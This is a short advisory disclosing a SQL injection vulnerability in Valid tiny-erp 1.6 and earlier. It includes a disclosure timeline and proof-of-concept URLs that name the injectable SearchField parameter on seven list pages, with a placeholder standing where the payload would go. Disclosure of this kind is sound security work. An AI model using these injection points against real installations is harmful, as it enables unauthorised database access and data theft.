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Valid tiny-erp <= 1.6 SQL Injection Vulnerability
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author............: muuratsalo (Revshell.com)
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://sourceforge.net/projects/validerp/


[0x01] Vulnerability overview:

Valid tiny-erp <= 1.6 is affected by a SQL injection vulnerability.
Note - A registered account could be required to exploit the vulnerability.


[0x02] Disclosure timeline:

[16/11/2011] - SQL injection vulnerability discovered and reported to
the vendor.
[19/11/2011] - No response from the vendor, public disclosure.


[0x03] Proof of Concept:

http://localhost/validerp/_partner_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL injection]
http://localhost/validerp/proioncategory_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL injection]
http://localhost/validerp/_rantevou_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL injection]
http://localhost/validerp/syncategory_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL injection]
http://localhost/validerp/synallasomenos_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL injection]
http://localhost/validerp/ypelaton_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL injection]
http://localhost/validerp/yproion_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL injection]